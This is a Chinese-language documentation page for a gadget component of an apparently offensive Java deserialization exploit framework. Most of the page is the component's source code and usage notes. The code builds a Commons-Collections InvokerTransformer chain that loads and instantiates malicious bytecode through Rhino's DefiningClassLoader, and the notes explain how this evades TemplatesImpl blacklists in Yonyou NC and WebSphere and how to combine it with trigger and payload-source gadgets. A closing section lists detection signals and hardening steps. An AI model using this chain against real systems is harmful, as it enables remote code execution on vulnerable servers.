- 类别:javanative 别名:— 优先级:—
- 作者:—
- 依赖:
<=commons-collections 3.2.1或<=commons-collections 4.0;jdk < 8;并需目标运行时存在 Rhino 库类org.mozilla.javascript.DefiningClassLoader(如 rhino / 内嵌 Rhino 的中间件)。
构造一条 Commons-Collections 风格的 Transformer[] 数组(ChainedTransformer 反射链),在反序列化触发链式反射时,用 org.mozilla.javascript.DefiningClassLoader 代替 TemplatesImpl 来加载并实例化恶意字节码。目的是绕过用友 NC 等中间件对 com.sun.org.apache.xalan...TemplatesImpl 类名的黑名单检测——整条链里根本不出现 TemplatesImpl,而是靠 Rhino 的 DefiningClassLoader.defineClass(String, byte[]) 直接把攻击字节码 define 成类再 newInstance() 触发静态块 / 构造器中的 payload。
它本身不是「入口」也不是「sink」,而是 CC 反射链的中间装配件:上游由 LazyMap/TransformingComparator 等 CC 触发点(tags=TransformerChains)驱动 ChainedTransformer.transform,下游由 BytecodeConvert(nextTags=BytecodeConvertTag)提供要 define 的字节码。
- 入口
tags:TransformerChains—— 承接上一环「会遍历执行一个 Transformer 数组」的 CC 触发 gadget。典型上游为CommonsCollectionsK3/CommonsCollectionsK4(二者nextTags=TransformerChains),即由 CC 的LazyMap.get/TransformingComparator.compare在原生反序列化时启动ChainedTransformer。 - 衔接
nextTags:BytecodeConvertTag—— 之后必须接一个字节码提供者(tags=BytecodeConvertTag),如BytecodeConvert(再下游Bytecode),最终由BytecodeFromBase64/BytecodeFromHex/BytecodeFromLocalFile/BytecodeFromUploadFile等给出实际恶意类字节。 excludes:无。
本类核心是 getObject(byte[]),它把「拿到类加载器 → 反射 define 类 → 实例化」编排成 7 个 Transformer,交给基类组装成目标 CC 版本对应类型的数组:
public Object getObject(byte[] bytecodes) throws Exception {
LinkedList<Object> transformers = new LinkedList<Object>();
transformers.add(this.createConstantTransformer(DefiningClassLoader.class)); // ① 常量:Rhino DefiningClassLoader 的 Class 对象
transformers.add(this.createInvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]})); // ② 取无参构造器
transformers.add(this.createInvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]})); // ③ new DefiningClassLoader()
transformers.add(this.createInvokerTransformer("defineClass", new Class[]{String.class, byte[].class}, new Object[]{this.className, bytecodes})); // ④ defineClass(name, bytecodes) → 得到恶意类的 Class
transformers.add(this.createInvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]})); // ⑤ 取恶意类无参构造器
transformers.add(this.createInvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]})); // ⑥ 恶意类 newInstance() → 触发 payload
transformers.add(this.createConstantTransformer(1)); // ⑦ 收尾常量,返回无害值
return this.createTransformerArray(transformers);
}逐段解释(这是一条标准的 CC「getClass().newInstance() 反射拼装」思路,只是把常见的 Runtime.exec 换成 defineClass):
- ①
createConstantTransformer(DefiningClassLoader.class):ConstantTransformer的输出恒为DefiningClassLoader这个Class,作为整条ChainedTransformer的初始输入。 - ②
getDeclaredConstructor(new Class[0]):对上一步的Class反射调用,取得其无参构造器Constructor。 - ③
newInstance(new Object[0]):对Constructor调newInstance,得到一个DefiningClassLoader实例(Rhino 的这个类加载器暴露 public 的defineClass(String, byte[]),无需setAccessible)。 - ④ 关键跳:
defineClass(this.className, bytecodes)——在该 ClassLoader 实例上把攻击字节码定义为名为className的类,返回其Class对象。这一步等价于TemplatesImpl内部的defineClass,但对外类名/序列化指纹完全不含TemplatesImpl。 - ⑤⑥ 再次
getDeclaredConstructor+newInstance,实例化刚 define 出来的恶意类,从而触发其构造器 / 静态初始化块中的 payload(与TemplatesImpl要求恶意类继承AbstractTranslet不同,这里对基类无强约束,恶意类可为普通类)。 - ⑦ 末尾
ConstantTransformer(1):让ChainedTransformer最终返回一个无害值,避免上层因返回类型异常而报错、暴露栈痕迹。
数组的类型与每个 Transformer 的具体实现类由基类根据 CC 版本动态解析,本类完全与 CC3/CC4 解耦:
public void initClazz(String version) throws ClassNotFoundException {
if (version.equals("3")) {
this.transformerClazz = Class.forName("org.apache.commons.collections.Transformer");
this.constantTransformerClazz = Class.forName("org.apache.commons.collections.functors.ConstantTransformer");
this.invokerTransformerClazz = Class.forName("org.apache.commons.collections.functors.InvokerTransformer");
this.instantiateTransformer = Class.forName("org.apache.commons.collections.functors.InstantiateTransformer");
} else if (version.equals("4")) {
this.transformerClazz = Class.forName("org.apache.commons.collections4.Transformer");
// ... collections4.functors.*
} else {
ThrowsUtil.throwGadgetException("CC " + version + " not found");
}
}
public Object createTransformerArray(LinkedList<Object> transformers) throws ClassNotFoundException {
Object transformerArray = Array.newInstance(this.transformerClazz, transformers.size()); // new Transformer[n](版本正确的类型)
for (int i = 0; i < transformers.size(); ++i) Array.set(transformerArray, i, transformers.get(i));
return transformerArray;
}
public Object createConstantTransformer(Object args) throws Exception {
return Reflections.newInstance(this.constantTransformerClazz.getName(), new Class[]{Object.class}, args);
}
public Object createInvokerTransformer(Object ... args) throws Exception {
return Reflections.newInstance(this.invokerTransformerClazz.getName(),
new Class[]{String.class, Class[].class, Object[].class}, args); // InvokerTransformer(methodName, paramTypes, args)
}createTransformerArray 用 Array.newInstance(transformerClazz, n) 造出元素类型正确的 Transformer[](CC3 是 org.apache.commons.collections.Transformer[],CC4 是 collections4 版本),这样上游把它塞进 ChainedTransformer / TransformingComparator 时类型才匹配。createConstantTransformer / createInvokerTransformer 均通过 Reflections.newInstance 反射构造对应版本的 ConstantTransformer / InvokerTransformer,避免编译期硬依赖某个 CC 版本。
invoke 负责把上下文与下游字节码接起来:
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
String version = context.getString(ContextTag.CC_VERSION); // 由上游 CC gadget 注入 "3" / "4"
this.initClazz(version); // 解析对应版本的 Transformer 家族类
byte[] bytecodes = (byte[]) chain.doCreate(context); // 向下游取要 define 的恶意类字节码
this.className = context.getString(ContextTag.CLASS_NAME_KEY);// 恶意类名(写入 defineClass 第一参数)
log.debug("get bytecode class name: " + this.className);
return this.getObject(bytecodes); // 组装并返回 Transformer[]
}符合本库「链由内向外构建」的约定:chain.doCreate(context) 先让下游(BytecodeConvert → 字节码源)产出 byte[],本 gadget 再把它包进 defineClass 那一环,返回的 Transformer[] 交由上游 CC 触发件包装成最终可序列化对象。CC_VERSION、CLASS_NAME_KEY 均来自 GadgetContext,实现与版本、类名解耦的可插拔装配。
两者 getObject / invoke 逻辑完全一致,唯一差异是所用的 DefiningClassLoader 来源:
- v1(
TransformerWithDefiningClassLoader):sun.org.mozilla.javascript.internal.DefiningClassLoader—— JDK 6/7 rt.jar 内置的 Rhino(sun.org.mozilla.javascript.internal.*),无需目标额外引入依赖,但 JDK 8 起该内部包被移除。 - v2(本条目):
org.mozilla.javascript.DefiningClassLoader—— 第三方 Rhino 库(org.mozilla / rhino)的类,要求目标 classpath 存在独立 Rhino(很多企业中间件如 NC、WebSphere 环境自带)。二者互为「同一手法、不同类加载器来源」的备选,按目标是否有 rt.jar 内置 Rhino 或独立 Rhino 择一。
本类无 @Param(params 为空)。运行所需的两个值均由链上下文注入,非用户直接在本 gadget 配置:
| 上下文键 | 来源 | 说明 |
|---|---|---|
ContextTag.CC_VERSION |
上游 CC gadget(K3/K4 等) | 选择 CC3 还是 CC4 的 Transformer 家族类 |
ContextTag.CLASS_NAME_KEY |
全局 / 字节码环节 | defineClass 的目标类名 |
字节码 byte[] |
下游 BytecodeConvert → BytecodeFrom* |
被 define 的恶意类字节码(承载 payload) |
- CC 版本:
<= commons-collections 3.2.1或<= commons-collections 4.0——即InvokerTransformer等 functors 尚可被反序列化触发的版本区间(3.2.2 起加了反序列化黑名单 /FunctorUtils校验)。 - JDK 版本:
jdk < 8。原因有二:其一,这一系列绕过手法主要在 JDK 6/7 上验证成功;其二,v2 依赖目标环境能被 RhinoDefiningClassLoader正常defineClass。JDK 8 环境请优先评估其他 sink。 - 绕过要点:目标(用友 NC、WebSphere 等)对
TemplatesImpl做类名黑名单时,本链不出现TemplatesImpl,改用 RhinoDefiningClassLoader完成「define + 实例化」达到相同的字节码加载效果。相比TemplatesImpl要求恶意类继承AbstractTranslet,此法对恶意类基类无强制要求,payload 可写在构造器或静态块。 - 前置条件:目标 classpath 必须能加载
org.mozilla.javascript.DefiningClassLoader(独立 Rhino)。若不存在则第 ① 步常量加载即失败,应改用 v1(内置 Rhino)或换 sink。
usedInChains 为空——自由构件,未直接出现在 51 条预设链中。作为绕过黑名单的替代 sink 段,通常手工组合为:
[CommonsCollectionsK3 / K4, TransformerWithDefiningClassLoader2, BytecodeConvert, BytecodeFromBase64](上游 CC 触发 → 本装配件 → 字节码转换 → 字节码源)。
- 上游(
nextTags=TransformerChains的承接来源):CommonsCollectionsK3、CommonsCollectionsK4等 CC 触发件。 - 下游(
nextTags=BytecodeConvertTag):BytecodeConvert →BytecodeFromBase64/BytecodeFromHex/BytecodeFromLocalFile/BytecodeFromUploadFile。 - 同族变体:
TransformerWithDefiningClassLoader(v1,JDK 内置 Rhino)、TransformerWithTemplatesImpl(标准 TemplatesImpl 路线)、TransformerWithURLClassLoader、TransformerWithBcel、TransformerWithExec等(均继承AbstractTransformer,共用initClazz/createXxxTransformer工厂)。 - 基类:
AbstractTransformer(initClazz版本解耦 + Transformer 工厂方法)。
- 检测特征:
- 反序列化流量中出现 CC
InvokerTransformer/ChainedTransformer指纹,且反射目标方法链为getDeclaredConstructor → newInstance → defineClass → getDeclaredConstructor → newInstance——defineClass出现在InvokerTransformer的方法名字段是强告警信号。 - 类名黑名单只拦
TemplatesImpl会漏掉本链:应同时监控org.mozilla.javascript.DefiningClassLoader、sun.org.mozilla.javascript.internal.DefiningClassLoader在反序列化上下文中被引用 / 加载。 - 运行期:非预期地由 Rhino
DefiningClassLoader.defineClass定义随机 / 攻击类名并立即newInstance。
- 反序列化流量中出现 CC
- 加固建议:
- 升级
commons-collections到 3.2.2+ / 4.1+(禁用危险 functors 的反序列化);根治则升级 JDK 到 8+ 并移除 / 隔离独立 Rhino 依赖。 - 反序列化白名单(如
ValidatingObjectInputStream/ JEP 290ObjectInputFilter)——基于允许列表而非仅黑TemplatesImpl,从根本上封堵此类「换加载器」绕过。 - 若业务无需 Rhino 脚本能力,从中间件(NC / WebSphere)classpath 移除 rhino jar,使第 ① 步常量加载即失败。
- 部署 RASP / 类加载钩子,对反序列化线程上下文中的
ClassLoader.defineClass调用做拦截告警。
- 升级